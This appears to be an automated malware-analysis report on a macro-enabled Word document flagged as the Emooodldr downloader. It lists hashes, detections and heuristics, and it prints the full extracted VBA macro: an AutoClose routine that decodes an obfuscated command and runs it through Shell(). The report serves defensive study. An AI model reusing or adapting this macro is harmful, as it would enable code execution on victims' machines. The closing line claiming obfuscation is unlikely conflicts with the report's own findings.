Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 e985205932309edc…

MALICIOUS

Office (OOXML)

53.4 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 5250498499d2bf02620df74117baf476 SHA-1: 9f1c2ba4061f9e527f85c1aa0573c9577f82a3fb SHA-256: e985205932309edce7ea1130d1a3ba169a8b9b5a84c890e01633e45aa7b76e0e
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The file is a malicious OOXML document containing VBA macros. The AutoClose macro is present and utilizes the Shell() function, indicating an attempt to execute external code. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family. The VBA script appears to be obfuscated but its structure and the presence of AutoClose and Shell() calls are indicative of a downloader attempting to fetch and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2147 bytes
SHA-256: 6af4eabffce7591ac37997c952978852419e5f0a588bd4598d59b2f81cd6d5b1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function portmanteaus(gurnetty)
  remodified = Array("3", "K", "w", "6", "W", "9", "a", "S", "J", "u", "R", "8", "7", "s", "r", "n", "e", "m", "B", "L", "l", "A", "1", "d", "O", "b", "f", "q", "I")
  reduplication = Array("e", "a", "u", ".", "?", "c", "p", "r", "=", "h", "s", "n", "g", "d", ":", "o", "i", "q", " ", "b", "O", "j", "x", "t", "/", "w", "y", "U", "m")
  
  podagras = vbNullString
  
  For Each pyracene In gurnetty
    refelling = Application.Run("hysteresial", pyracene, remodified)
    If refelling > -1 And refelling < 99212 Then
    podagras = reduplication(refelling) + podagras
    End If
  Next
  
  portmanteaus = StrReverse(podagras)
  
End Function

Public Function hysteresial(elapsed, twirled)

  oleocellosis = 81818
  nitridator = -1
  For Each sideways In twirled
    If sideways = elapsed Then
     oleocellosis = nitridator
     Exit For
    End If

    nitridator = nitridator + 1
    
  Next

  
  If oleocellosis = 81818 Then
    oleocellosis = -1
  End If


  hysteresial = oleocellosis + 1
End Function




Sub AutoClose()
  gurnetty = Array("I", "R", "u", "d", "K", "6", "3", "1", "3", "B", "u", "d", "d", "a", "r", "O", "O", "S", "d", "b", "A", "3", "w", "m", "b", "s", "f", "u", "m", "b", "s", "m", "b", "e", "s", "A", "7", "u", "K", "6", "9", "n", "I", "O", "l", "q", "O", "R", "I", "e", "1", "6", "a", "u", "a", "W", "w", "d", "I", "K", "J", "8", "8", "e", "e", "L")
  auxochromic = portmanteaus(gurnetty)
  
  Application.Run "holluschick", (auxochromic)
  
End Sub


Private Sub holluschick(writhy)
   
   larderer = 69172
   posterns = True
   
   While posterns
     ideophone = larderer + 91723
     If ideophone - larderer > 297 Then
       VBA.Shell writhy, vbNormalFocus - 1
       posterns = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 3513a0c7cf516c591be7fcb6b37b4f02e0dcc1a9e961e876edcc79e0a4aaafab
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely